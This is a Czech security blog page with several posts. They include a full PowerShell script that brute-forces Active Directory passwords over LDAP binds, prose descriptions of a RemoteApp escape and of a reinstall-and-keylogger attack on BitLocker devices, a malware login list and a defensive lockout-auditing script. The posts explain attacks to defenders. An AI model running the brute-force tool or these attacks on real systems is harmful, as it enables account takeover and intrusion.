Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > default
září 15
Online zkoušečka hesel

Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.

Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.

Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.

Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.

Nebo 470 hesel za vteřinu přes Simple bind.

function global:Try-LdapPasswordsFast (
    [string] $dc, 
    [string] $login, 
    [string] $domain, 
    [switch] $authBasic, 
    [int] $tryLength = 5,
    [string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    )
{
  if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {

    [void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
  }

  [System.DirectoryServices.Protocols.LdapConnection] $conn = $null
  [System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
  $global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop

  try {

    if ($authBasic -and ($dc -notlike '?*:?*')) {

      $dc = $dc + ':636'
    }

    $conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc

    if ($authBasic) {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $false
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $true
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic

    } else {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $true
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $false
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
    }

    [double] $pwdCount = 1;
    for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
    Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)


    [byte[]] $charMatrix = New-Object byte[] $tryLength
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }

    [byte] $positionMax = $charSet.Length - 1
    [int] $iteration = 0
    [string] $foundPwd = [string]::Empty
    [System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }

    $error.Clear()
    $dtStart = [DateTime]::Now

    do {

      $iteration ++

      [byte] $i = 0
      while ($i -lt $charMatrix.Length) {

        if ($charMatrix[$i] -eq $positionMax) {

          $charMatrix[$i] = 0
          $i ++
          continue
          
        } else {

          $charMatrix[$i] = $charMatrix[$i] + 1
          break
        }
      }

      for ($k = 0; $k -lt $charMatrix.Length; $k ++)
      {
        $pwdMachine[$k] = $charSet[$charMatrix[$k]]
      }

      $onePwd = $pwdMachine.ToString()
    
      $cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
      [bool] $check = $true

      try {

        $conn.Bind($cred)

      } catch {

        #Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
        $check = $false
      }

      if ($check) {

        $foundPwd = $onePwd
        break
      }

      if (($iteration % 27000) -eq 0) {

        $dtProcessDiff = [DateTime]::Now - $dtStart
        Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
      }

    } while ($i -lt $charMatrix.Length)

    $dtEnd = [DateTime]::Now

    Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
    
    if ([string]::IsNullOrEmpty($foundPwd)) {

      Write-Host ('Didnt find the password')

    } else {

      Write-Host ('Found password: {0}' -f $foundPwd)
    }
  
  } catch {

    Write-Host ('Error: {0}' -f $_.Exception.Message)

  } finally {

    if (-not ([object]::Equals($null, $conn))) {

      $conn.Dispose()
    }

    $global:errorActionPreference = $errorActionBackup
  }
}

Tak jen pro představu.

srpen 31
Únik hesel z mall.cz

Pěkně: https://www.lupa.cz/clanky/v-uniku-z-mallu-je-pres-tri-ctvrte-milionu-jmen-hesel-a-telefonnich-cisel-v-citelne-podobe/

Článek se zabývá primárně krádeží hesel, ale vynechal několik podstatných bodů, které je dobré znovu a znovu opakovat až do zblbnutí:

  • řeči o "prolomenosti" MD5 jsou nesmysl. Z MD5 heše se heslo musí stejně pořád krekovat a pořád doba kreku závisí na délce a kvalitě hesla. Možná je to rychleji než dříve, ale pořád brute-force. Takže tahle krádež byla plaintextová.
  • kdo si do citlivých služeb dává stejná hesla, je blázen. Bez ohledu na to jak si to služba ukládá, stejně v nějakém okamžiku vidí heslo v čisté formě (například vyplněné do formuláře). Pokud bude napadena, stejně útočník hesla hostane čistá, když bude chtít.
  • jak víme, že to byl nějaký hacker? Nejspíš to byl inside-job nějakého milého zaměstnance.
  • tady nejde ani tak o krádež nějakých hesel, tady jde o únik osobních údajů. Dnes mají ještě strop 10 000 000 CZK, od května 2018, kdy vstoupí v účinnost nařízení GDPR, budou mít strop na pokutu 10 000 000 EUR a to ještě nepočítám možné soudy s poškozenými a náhrady jejich škod.
  • incidenty se vždycky dějí, nelze jim zabránit, rizika lze pouze minimalizovat. Případně si mohou riziko přenést na někoho jiného. Předpokládám, že začne velký business s pojistkami proti GDPR pokutám :-)
  • a proto taky GDPR zdůrazňuje potřebu anonymizace a pseudonymizace osobních údajů plynoucí z povinnosti zpracovávat osobní údaje jen po opravdu nutnou dobu. Pokud to neděláte, bude pokuta vyšší :-)
srpen 25
Rada špionážním agenturám

Mimochodem - na letošním www.hackerfest.cz zbývá už jen 20 míst!!

Ne že bych si myslel, že je to už dávno nenapadlo samo, ale chtěl jsem na to spíš už několikrát upozornit. Zrovna řešíme u zákazníka problém s tím, že jim někdo nějak z vnitřní sítě krade loginy a zkouší potom z internetu hesla. Dokonce evidentně ví, co jsou zajímavé adminské účty, protože zkouší jen ty "správné". A to tam neexistuje nic, jako výchozí loginy typu administrator, samozřejmě.

Hesla jsou kvalitní, zamykání účtů je zapnuto, ale velký objem pokusů o heslo způsobuje zbytečné provozní problémy.

Zjistit odkud jsou hesla zkoušena není až takový problém. Problém je zjistit, ze kterého z tisíců počítačů se ty naše loginy odesílají útočníkovi. Obecně řečeno, v Active Directory je možno vždy vylistovat seznam loginů, pokud máte LAN připojení na DC a vás listovací program se spouští pod nějakým libovolným (obyčejným) ověřeným účtem. Včetně členství v citlivých skupinách. Viz. můj dřívější článek.

A samozřejmě plno dalších věcí je v sítích alespoň pro čtení.

Stačí, aby si nějaký uživatel stáhnul "užitečný prográmek", který ví co chce zjistit, a může velmi efektivně a nenápadně olíznout celou síť. Nenápadně, protože dělá samozřejmě jen běžné, naprosto legitimní čtení.

Je jasné, že program nic zásadního změnit nemůže, protože běží pod obyčejným uživatelem. Ale zkoumat může. A měnit možná ani nechce.

Odesílání dat do internetu se dneska dělá pomocí DNS dotazů, což je opět zcela legitimní a téměř nedetekovatelné, pokud toho není nějaký velký objem.

Kdyby ten program zkoušel hesla přímo z vnitřní sítě, mohli bychom ho chytit. Ale když je potichoučku a jen občas něco oskenuje, tak to nenajdete. Žádný antivirus vám samozřejmě nepomůže, protože si toho ještě nikdo nevšiml. Protože to nic viditelně špatného nedělá.

A teď k těm špionům

Dneska jsem objevil na technetu další debilní článek s nabídkou bezvadných a zaručeně nepostradatelných prográmků, které vám pomůžou se vším, samy vám utřou zadek, uvaří domácí pivo, podrbou vašeho psa a samozřejmě u toho optimalizují registry a paměť. A hlavně je to ZADARMO! http://technet.idnes.cz/uzitecne-aplikace-pro-kazdy-den-dil-683-dw2-/software.aspx?c=A170728_095345_software_dvr

Já být provozovatelem nějaké špionážní organizace, zaměstnal bych několik programátorů. Není potřeba moc, třeba pět?

A tihle kluci by měli za úkol chrlit kvanta užitečných utilitek. Ideálně věci, které zajímají jak běžného uživatele, tak dokonce správce. Vzpomeňte si sami, kolikrát stahujete z netu nějaké nástroje. Napadají mě tyto příklady:

  • konvertory mediálních formátů a úpravy fotek
  • komprimační a zálohovací programy
  • vytváření ISO a vypalování a grabování a hledání
  • optimalizace registrů, paměti, sítě, databází, odinstalery
  • zaručené ochrany před viry, popup-blockery atd.

Další bohatou referenci debility najdete na technetu. Nebo si dáte nějaké technické fórum a podíváte se, co admini potřebují.

A tohle není jen problém počítačů. Nedávno se kdosi chlubil, že má na mobilu 250 aplikací.

Mobil má možná ochranu proti nevyžádanému přístupu ke kontaktům a mailu a obrázkům, ale nemá žádnou ochranu proti nenápadnému připojení k síti. To tam přece chcete! Stačí aby se objevil ve vnitřní WiFi a tradá.

No a jako jednu neveřejnou funkci takový prográmek bude mít očuchávání sítě. A samozřejmě odesílání na příslušná místa.

A teď si odpovězte na otázku - jsem já snad první, koho to napadlo?

Jediná ochrana proti tomu je striktní AppLocker a nepouštět podivné programy do vnitřní sítě. A pokud dojdete na www.hackerfest.cz, Roman Kummel vám to ukáže v JavaScriptu.

srpen 24
Přehled zamykání AD účtů pomocí PowerShellu

Potřebujete vědět, jaké se vám zamykají účty (account lockout) v Active Directory a kdy se to stalo? Pokud auditujete Account Management - User Account Management, tak se vám budou v protokolu událostí Security na řadičích domény (DC - domain controller) objevovat události EventId 4740.

Ideální je to sledovat na FSMO PDC. Je sice pravděpodobné, že klient se snaží ověřovat o jiné DC. Ale jak známo, pokud na některém DC selže ověření, toto DC zkusí ověřovací pokus samo přeposlat na PDC. Jestli by se to náhodou nepovedlo.

Přeposílat pokusy na PDC má smysl ze dvou důvodů. Možná se jedná jen o nové heslo, které si uživatel nedávno změnil. Nebo je to sice opravdu špatné heslo, ale kvůli tomu, že badPasswordCount atribut je nereplikovaný, je potřeba zajistit zamknutí účtu.

Takže velkou většinu nepovedných přihlášení procesuje PDC. Samozřejmě ne úplně všechny, protože přeposílka je jenom best-effort a pokud nějaké DC nemá zrovna konektivitu s PDC, tak se to nijak nehlásí ani neprojevuje. Ale ona ta konektivita dlouhodobě existuje, aspoň doufejte, jinak vám nebude fungovat zamykací politika (lockout policy).

A jak to z toho logu s miliony událostí dostanete? Pomocí wevtutil, XPath a PowerShellu:

# Note: although the standard XPath does not make difference between single-quotes and double-quotes
#       this particular incarnation requires use of single-quotes inside the XPath queries, so use double-quotes
#       in PowerShell to enclose the string literal.

# Note: removal of the stupid namespace xmlns='http://schemas.microsoft.com/win/2004/08/events/event' is the simplest
#       means to make the following SelectSingleNode() API to work easily.

$all = wevtutil qe Security "/q:*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (Task=13824) and (EventID=4740)]]" | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } }

Tohle byl jednoduchý skript. Jenže my bychom ještě chtěli vědět, odkud se ty zámky dějí. Kdo odkud zkouší ta hesla.

K tomu potřebujete další události typu Account Logon. Události Account Logon jsou dvou druhů. Buď od ověření pomocí Kerberos, nebo NTLM. Kerberos generuje pod-kategorii Kerberos Authentication Service, zatímco NTLM generuje události se subcategory Credentials Validation.

Stačí tedy najít těch několik Account Logon událostí, které předcházely zamknutí účtu a z nich zjistit, co se dělo. Kerberos krásně loguje IP adresu, ze které k pokusu o ověření došlo. NTLM neloguje nic. NTLM sice loguje jméno počítače, ze kterého k pokusu došlo, tedy nikoliv IP adresu, ale tato hodnota je nesmyslná, protože není vůbec ověřovaná.

Pokud se tedy jedná o opravdový pokus nějakého normálního doménového počítače o ověření, tak tam bude jeho jméno v pořádku. Ale pokud to je útočný program, který testuje hesla přes NTLM, tak tam nebude buď nic, nebo nějaký nesmysl. I tak nám ale stojí za to vědět alespoň, jestli se jednalo o NTLM, nebo Kerberos.

Lepší přehled dostanete z lepšího skriptu. Je tam počet těch předchozích událostí během předchozích 6 minut. A je tam také seznam těch zdrojových IP adres (v  případě Kerberosu) nebo údajných jmen počítačů v případě NTLM.

Pokud budete mít smůlu a bude se jednat jen o NTLM ověření, bez informace o zdroji, tak to máte horší. Musíte si pak spustit třeba Wireshark, nebo Network Monitor a zkustit tam to TCP spojení najít.

# Note: User Account Management - Account Locked Out
# Note: before these, if this is the originating DC (on PDC if the authentication attempt is only forwarded, the PDC does not log the previous Account Logon failures)
#       there would be either:
#           Account Logon - Credential Validation (Task 14336) - 4776 - TargetUserName, Workstation, Status = 0xC000006A
#           Account Logon - Kerberos Authentication Service (Task 14339) - 4771 - TargetUserName, IpAddress, Status = 0x18
$authFailuresPastMinutes = 6

[object[]] $allLocks = wevtutil qe Security "/query:*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (Task=13824) and (EventID=4740)]]" | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'What' ; e = { 'Lockout' } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } } | sort -Desc When

[Collections.ArrayList] $authFailures = @()
foreach ($oneLock in $allLocks) {

    $dateTimeSortableEventUTC = 'yyyy-MM-ddTHH:mm:ss.fffffff00Z'
    $failureFilter = "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and ((Task=14336 and EventID=4776) or (Task=14339 and EventID=4771)) and TimeCreated[@SystemTime<='{1}' and @SystemTime>='{2}']] and EventData/Data[@Name='TargetUserName']='{0}' and (EventData/Data[@Name='Status']='0xC000006A' or EventData/Data[@Name='Status']='0x18')]" -f $oneLock.User, $oneLock.When.ToUniversalTime().ToString($dateTimeSortableEventUTC), $oneLock.When.AddMinutes(-$authFailuresPastMinutes).ToUniversalTime().ToString($dateTimeSortableEventUTC)

    [object[]] $oneLockAuthFailures = wevtutil qe Security /query:$failureFilter | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'What' ; e = { 'AuthFailure' } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } }, @{ n = 'From' ; e = { if ($_.Event.System.EventID -eq 4776) { $_.Event.EventData.SelectSingleNode('./Data[@Name="Workstation"]').'#text' } else { $_.Event.EventData.SelectSingleNode('./Data[@Name="IpAddress"]').'#text' } } }
    [void] $authFailures.AddRange($oneLockAuthFailures)

    $countNTLM = 0
    $countKerberos = 0
    [Collections.ArrayList] $sources = @()

    foreach ($oneAuthFailure in $oneLockAuthFailures) {

      if ($oneAuthFailure.Id -eq 4776) {
 
        $countNTLM ++

      } else {

        $countKerberos ++
      }

      [string] $source = $oneAuthFailure.From
      if ([string]::IsNullOrEmpty($source)) {

        $source = '-'
      }

      if ($source.StartsWith('::ffff:')) {

        $source = $source.Substring(7)
      }

      if ($sources -notcontains $source) {

        [void] $sources.Add($source)
      }
    }

    Add-Member -Input $oneLock -MemberType NoteProperty -Name NtlmFailures -Value $countNTLM
    Add-Member -Input $oneLock -MemberType NoteProperty -Name KerberosFailures -Value $countKerberos
    Add-Member -Input $oneLock -MemberType NoteProperty -Name From -Value ($sources -join ',')

    $oneLock | ft -Auto
}

# $allLocks     # contains all the locking statistics
# $authFailures # contains all the authentication failure events that occured several minutes before the relevant account lockout

Pro úplnost bych ještě doplnil informaci, že na PDC se nelogují události Account Logon, pokud se jedná o tu přeposílku z jiného DC. Je tedy možné, že počet předchozích neúspěšných pokusů na heslo může být i nulový.

srpen 23
Zase návrat do provozu :-)

Co je proboha tohle za seznam loginů, na které jakýsi virus zkouší hesla? A co to je za virus?

ADM
ADMIN
ADMINAMIR
ADMINISTRATOR
ADMINS
APP
AZD
BEJELENTKEZVE
BENNY
BERETA
BOBO
COBIAN
DB
DBADMIN
GORDIC
HELIOS
JESSIKA
KAPITAN
KARA
KIERAN
LENKA
LINDA
MIREK
MONEY
MULTICASH
NETGEAR
NULL
RDP
SCAN
SERVER
SMTPUSER
TAVADMIN
TEST
TISK
TRAINING1
TUSER1
VEDOUCI
WEBMASTER

 

květen 15
Dvě služby které patří zakázat na Windows 10 a Windows 2016

Na Windows 10 i Windows 2016 jsou dvě služby, které zakazuju okamžitě. Jednu na vždy zatímco druhou si spouštím, jenom když chci.

Ta, kterou chcete spouštět alespoň čas od času, je Windows Update (wuauserv). Jiná ani lepší metoda, jak těm peklům zabránit, aby se nepřetržitě neaktualizovala, neexistuje. Až potřebuju aktualizace, jednoduše službu spustím.

Druhý kamarád mě dostal do varu svou přítomností i na Windows 2016 serveru. Zde mi to v průběhu řešení jakýchsi síťových potíží dokázalo dokonce zatuhnout Network Monitor několika miliardami HTTPS paketů. Na serveru? Ve výchozím stavu? To se někdo musel zkouřit. A výhercem se stala služba Connected User Experiences and Telemetry (DiagTrack).

Vyprávění o této službě s barevnými obrázky a množstvím zábavných odkazů naleznete zde. Nevím ovšem, proč bych to četl a přemýšlel, proč ji přepínat z jakéhosi Security módu do Basic ani jinam. Jediné, kam tahle služba patří je do Disabele. Sbohem na vždy.

květen 04
Jak na RDP serveru spustit cokoliv přes RemoteApp

Netušil jsem ani jakou tímhle vyvolám u jednoho zákazníka paniku :-) Taky to nevíte? Máte RDP farmu a na ní provozujete RDP RemoteApps. Tedy nějaké aplikace, jako je Office, nebo Adobe, nebo nějaký jiný business systém. Lidé se k tomu připojují přes RDWeb, nebo mají rovnou nějaké zástupce na ploše. V každém případě lidé vidí pouze okno své aplikace, nevidí celou plochu. A vy máte dojem, že si na tom serveru nic jiného spustit nemohou. Tak to máte špatný dojem :-)

Pokud ten program má standardní Open nebo Save as dialog, tak si spustí cokoliv chtějí. Stačí vědět jak. Prostě si necháte zobrazit i exe soubory a namísto toho, abyste na ně rovnou kliknuli, použijete pravé tlačítko a vyberete správnou volbu:

Co z toho plyne?

RemoteApp je jenom uživatelské zpříjemnění, určitě to není bezpečnostní fíčura. Server nemá principiálně jak kontrolovat, co startujete z čeho. Prostě se jenom přenáší individuální okna namísto celé plochy. Pokud chcete startování aplikací skutečně omezit, musíte použít AppLocker (Application Control Policies).

květen 03
Jak poslat email pomocí EWS na outlook.com a PowerShellu

Pokud chcete odesílat mail z nějakého PowerShell skriptu, máte všude návody, jak to udělat pomocí SMTP. Problém je, že někdy SMTP prostě není dostupné, například kvůli tomu, že vám firewall blokuje porty. Blokování TCP 25 je vcelku klasika, ale to jsem ani nepoužíval. Pro odesílání mailu po ověřeném spojení, tzn. po zadání nějakého loginu a hesla, se používá na Exchange, Office365 i outlook.com na portu TCP 587. Stejně chcete mnohdy posílat do jiných domén - relay. Jenže i to pomalu končí, jak pozoruju :-)

Takže jiná cesta je použít web service, to znamená HTTPS komunikaci s nějakou webovou službou, kterou ten Exchange/Office365/outlook.com nabízí. To je již velmi dlouho EWS (Exchange Web Services). Kdo máte Exchange, tak jste zajisté v IIS viděli virtuální adresář ews a případně jste tomu nastavovali nějaké parametry pomocí Set-WebServicesVirtualDirectory, ne?

Když to chcete použít z PowerShellu, stačí si k tomu stáhnout z Microsoftu knihovnu nazvanou Exchange Web Services Managed API (odkaz je na verzi 2.2), která jde načíst jak do PowerShell 2.0 tak i do novější verze, takže je jedno, jestli máte netfx 2.0 nebo netfx 4.x.

No a potom už vesele posíláte. Já jsem si k tomu zařídil zadarmo účet na outlook.com. Odesílání funguje i do jiných domén, dokonce se odeslané maily ani neukládají v odchozí poště :-)

function Send-OutlookEwsMail (
  [string] $login,
  [string] $password,
  [string] $rcptTo,
  [string] $subject,
  [string] $message,
  [string] $dllPath = [IO.Directory]::GetCurrentDirectory()
  )
{
  [string] $ewsAssemblyPath = Join-Path $dllPath 'Microsoft.Exchange.WebServices.dll'

  if (-not (Test-Path $ewsAssemblyPath)) {

    throw ('The EWS assembly file does not exist: {0}' -f $ewsAssemblyPath)
  }

  [System.Reflection.Assembly] $exchAssembly = [System.Reflection.Assembly]::LoadFile($ewsAssemblyPath)

  if (-not ([object]::Equals($exchAssembly, $null))) {

    [Microsoft.Exchange.WebServices.Data.ExchangeService] $exchSvc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
    $exchSvc.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials ($login, $password)
    $exchSvc.Url = New-Object System.Uri 'https://outlook.com/EWS/Exchange.asmx'

    [Microsoft.Exchange.WebServices.Data.EmailMessage] $exchMail = New-Object Microsoft.Exchange.WebServices.Data.EmailMessage ($exchSvc)
    [void] $exchMail.ToRecipients.Add($rcptTo)
    $exchMail.Subject = $subject
    $exchMail.Body = New-Object  Microsoft.Exchange.WebServices.Data.MessageBody ($message)
    $exchMail.Send()
  }
}

Jenom bych k tomu účtu na outlook.com dodal jednu poznámečku - ze začátku to posílalo v pohodě, až se to najednou zaseklo na hlášce:

An internal server error occurred. The operation failed. WASCL UserAction verdict is not None. Actual verdict is HipSend, ShowTierUpgrade.

No prostě se tam musíte po nějakém čase (u mě to bylo cca 8 hodin) přihlásit přes webové rozhraní a potvrdit nějakou kapču (captcha), že nejste spamovací robot - Help us fight spam email. We're sorry to have to ask you to prove you're a person. Most spam comes from automated programs, which can't solve puzzles like this.

březen 01
Přeinstalovací útoky na BitLocker nebo libovolné jiné zašifrované zařízení

Představme si rajskou hudbu každého bezpečáka. Uživatelé mají zařízení, například Windows stanice, notebook, nebo klidně i mobilní telefon. Toto zařízení je celé zašifrováno pomocí diskového šifrování, například BitLocker, nebo cokoliv jiného co je schopno využívat TPM (trusted policy module). TPM je čipová karta na základové desce (motherboard), ve které je, velmi zjednodušeně řečeno, schováno heslo k šifrovanému disku.

Samozřejmě jeho UEFI firmware plně vynucuje Secure Boot a nedovoluje se boot z jiného harddisku ani DVD. BIOS (tedy firmware) je zaheslován, CSM (compatibility support mode) je vypnut a uživatelé nemohou měnit ani vendor keys.

Pokud se jedná o podnikového uživatele, uživatel není ani členem skupiny Administrators ani na tomto svém jediném zařízení. Pokud se jedná o domácího teroristu, ten určitě pracuje pod účtem lokálních Administrators.

Zapomeňme na možnost vyčítat klíče ze zmrzlé paměti. Zapomeňme na to, že je možná někde poznačeno obnovovací heslo (recovery password, 48 digit password). Prostě nic takového neexistuje, nebo na to nelze obecně spoléhat.

Celé to znamená, že se zařízení dá nastartovat a samo naběhne až do přihlašovací obrazovky, kam se musí zadat nějaké "heslo". Jestli to je PIN, heslo, máchnutí prstem, nebo jeho otisk je mi jedno. Je ale dnes už často možné, že se to neprovádí na klávesnici, takže není možné použít hardware keylogger (všechny tyto metody ale ukládají normální uživatelovo heslo přímo na počítači na disku - jsou prostě jen náhradou za heslo a přitom se mapují na normální účet - ale disk je zašifrován BitLockerem, nebo čímkoliv jiným).

Neprůstřelné. Tedy alespoň by se zdálo. Neprůstřelnost je vždycky ale jen proti něčemu. Otázka je, čeho chceme dosáhnout.

Cíle útoku a motivace

Sledujme dva týpky. Jeden je podnikový zaměstnanec, který se chce stát lokálním adminem na svém počítači. Případně na počítači kolegy, se kterým sdílí kancelář, nebo openspace. Když se stane lokálním adminem, začne sbírat přihlašovací údaje a napadat další účty, aby se dostal postupně dál a dál po síti.

Druhým je terorirsta, nebo hacker, nebo pedofil, který pracuje z domu a je lokálním adminem na svém počítači. Až k němu přijede komando, aby mu počítače zabavilo, policie by byla ráda, kdyby se mohla podívat na jeho data. Jenže tihle parchanti nespolupracují. A krekovat z nich hesla gumovou hadicí, no uznejte, tyhle metody z minulého rok... století?

Podnikový zaměstnanec se vyznačuje schopností fyzického přístupu k počítači svému, nebo počítači kolegy. Řekněme na 15 a více minut?

Policie také nepřepadá žádného zlořáda z ničehož nic. Obvykle svůj zásah může plánovat dopředu. A může se na něho připravit. Může ho například navštívit v době, kdy není u svého zařízení a trošku se tam připravit. Možná to má různá právní a zákonná omezení, ale jsou bezpečnostní složky, které to mají trošku jinak. A nebo se o tom nikdo dozvědět ani nemusí...

Zase to znamená fyzický přístup k zařízení. Možná trošku déle, než 15 minut. Ale ne o moc.

A modří už vědí. Ostatní si přečtou. Fyzický přístup je vždycky klíčem. Pokud ho máte, vždycky bude nějaká cesta. Tady jsou dvě takové pěkné, co mě napadly.

Teroristovo heslo

Jak dostaneme z teroristy heslo do jeho počítače? Můžeme mu doma namontovat nějaké kamery a sledovat ho, jak to heslo zadává. Pak ho už jenom sebereme, nebo rovnou střelíme mezi voči (jak říká můj oblíbenej Richard Marcinko - "zabij ty hajzly všechny, bůh už si to nějak přebere").

A nebo mu to přeinstalujeme.

Nejprve uděláme imidž mašiny, abychom měli zašifrovaná data. Potom mu to přeinstalujeme, nebo vyresetujeme do továrního nastavení. V tom okamžiku jsme na jeho zařízení pány. Jsme lokálními Administrators. Co nám brání nainstalovat mu tam rovnou nějaký software keyloger? Nic. Takže keylogger, který ovládáme my. Chudák tam už nemá žádná svá data, samozřejmě. Nemá tam ani přístup, protože jeho heslo my ještě neznáme. Dostane tedy svoje zařízení zpátky úplně čisté, s keyloggerem a heslem, které sám ani nezná. Ale o tom on neví.

Vrátí se z večeře, zkouší se přihlásit na svůj noťas, keylogger zachytává jeho skutečné heslo a odesílá nám ho. Borec panikaří, protože si nemůže pustit svoje oblíbený .... Když v tom mu cosi olověného prolétá hlavou.

... A nebo neprolétá. Zařízení se restartuje a hlásí, že se samo vrátilo do továrního nastavení, zavolejte svého administrátora, odneste mě do servisu. Všechno je v pořádku pane teroristo, data máte přece v klaudu, nebo máte určitě zálohu, ne?

... A nebo se zobrazí hlášení o aktualizaci, pod tím se aplikuje původní imidž a po dalším restartu nechává teroristu znovu v klidu pracovat :-)

Zaměstnanec lokálním adminem

BitLocker v kombinaci s TPM modulem je výborná metoda, jak odstavit uživatele od lokálního adminství. Pokud ani sám uživatel nezná klíče k dešifrování systémového disku, nemůže použít zmiňovanou offline modifikační metodu, aby získal lepší přístup. Ale on by to chtěl.

Vždycky může nainstalovat hardware keylogger a zavolat na support, že mu nejede tiskárna. Přijde admin, zadá mu do keyloggeru heslo a tradá. Jenže co když admin používá správně čipovou kartu (smart card). V takovém případě zaměstnanci nějaký keylogger nepomůže (ani software keylogger). Podobně to bude když admin přichází vzdáleně přes RDP (dokonce ani nemusí používat mstsc /RestrictedAdmin režim (a ještě tady), protože uživatel sám není správcem).

Takže stanice BitLocker + TPM + uživatel nezná klíče + uživatel není členem lokálních Administrators je velmi solidní řešení. Až do okamžiku mého reinstalačního útoku.

Uživatel si prostě svoji stanici přeinstaluje. A obvykle nechá i připojit do domény. Jak každý doufám ví, ve výchozím nastavení si počítač do domény může připojit kdokoliv.

Po reinstalaci počítače je uživatel sám svým adminem. Nainstaluje si libovolnou logovací technologii, kterou chce. A zavolá na support.

Je možné, že se na nově nainstalovaný počítač jeho správce ani nedostane, ale to nevadí. Bude to vypadat, že je ten stroj tak zničený, že prostě potřebuje komplet opravit. To se děje běžně, ne? Například klasická hláška - workstation trust relationship with primary domain failed. Ten automatický logovací nástroj však může také vrátit původní imidž a nic se po restartu ani nepozná.

Pracuju na demu, uvidíme, jestli se mi to podaří na podzimní HackerFest zmáknout :-)

únor 05
Jak zobrazit zadávané heslo pomocí klávesové zkratky

Víte o čem mluvím. Takové to očíčko, které zobrazuje heslo. Jmenuje se to správně password reveal button. Ještě na Windows 8 a Windows 2012 se na to muselo kliknout myší. Od Windows 10 a i ve Windows Server 2016 stačí zmáčknout magickou kombinaci:

Alt-F8
leden 30
To bude zase psycho, aneb dvě konference současně

Už příští týden rovnou dvě konference! Jednou již tradičně startuje očekávání jara v Bratislavě (https://www.showit.sk/sk), ale je tu i zbrusu nová konference v Brně (https://www.g2bteched.cz/cs/). Tak přijďte okoštovat Holliday Inn nebo Marriott. To zase bude peklo, právě přestávám chodit spát až do příštího čtvrtka. Tady evidentně někdo musel zešílet :-)

Jo a ShowIT párty bude tentokrát v Undead Arena z čehož doufám nezešílím úplně.

leden 17
Limit na počet členů ve skupině při použití příkazu Get-AdGroupMember

Já tyhle nesmyslné web-service cmdlety moc nepoužívám, a jak vidím, tak dobře vím proč :-) Dneska padla otázka, jestli to nemá limit na počet zobrazených členů. Zkusil jsem. A ejhle:

The size limit for this request was exceeded

